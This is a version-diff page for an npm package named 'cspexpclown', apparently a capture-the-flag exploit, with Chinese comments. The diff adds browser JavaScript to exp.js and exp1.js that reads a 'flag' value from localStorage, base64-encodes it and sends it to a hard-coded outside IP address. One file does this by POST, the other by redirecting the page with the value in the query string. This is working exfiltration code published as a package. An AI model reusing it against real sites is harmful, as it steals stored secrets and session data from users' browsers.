cspexpclown 1.0.7 → 1.0.9
Sign up to get free protection for your applications and to get access to all the features.
- package/exp.js +7 -5
- package/exp1.js +1 -1
- package/package.json +1 -1
package/exp.js
CHANGED
@@ -1,17 +1,19 @@
|
|
1
1
|
(async () => {
|
2
|
-
const domain = "
|
2
|
+
const domain = "http://43.139.107.213:8888"; // 指定域名
|
3
3
|
|
4
4
|
try {
|
5
5
|
|
6
6
|
// 获取全局变量 flag
|
7
7
|
const flag = localStorage.getItem("flag"); //因为从localStorage来set的,所以要这样获取
|
8
|
-
const encodeflag=btoa(
|
8
|
+
const encodeflag=btoa(flag);
|
9
9
|
// 发送GET请求并带上Cookie和flag
|
10
10
|
const res = await fetch(`${domain}`, {
|
11
|
-
method: "
|
11
|
+
method: "POST",
|
12
12
|
headers: {
|
13
|
-
"Cookie": flag // 将 flag 添加到请求头中,呃呃带不出来
|
14
|
-
|
13
|
+
// "Cookie": flag, // 将 flag 添加到请求头中,呃呃带不出来
|
14
|
+
"Content-Type": "application/json"
|
15
|
+
},
|
16
|
+
body: JSON.stringify({ flag: encodeflag })
|
15
17
|
// credentials: 'include' // 带上Cookie
|
16
18
|
});
|
17
19
|
|
package/exp1.js
CHANGED
@@ -1 +1 @@
|
|
1
|
-
window.location.href="
|
1
|
+
window.location.href="http://43.139.107.213:8888/?flag="+encodeURIComponent(btoa(localStorage.getItem("flag")));
|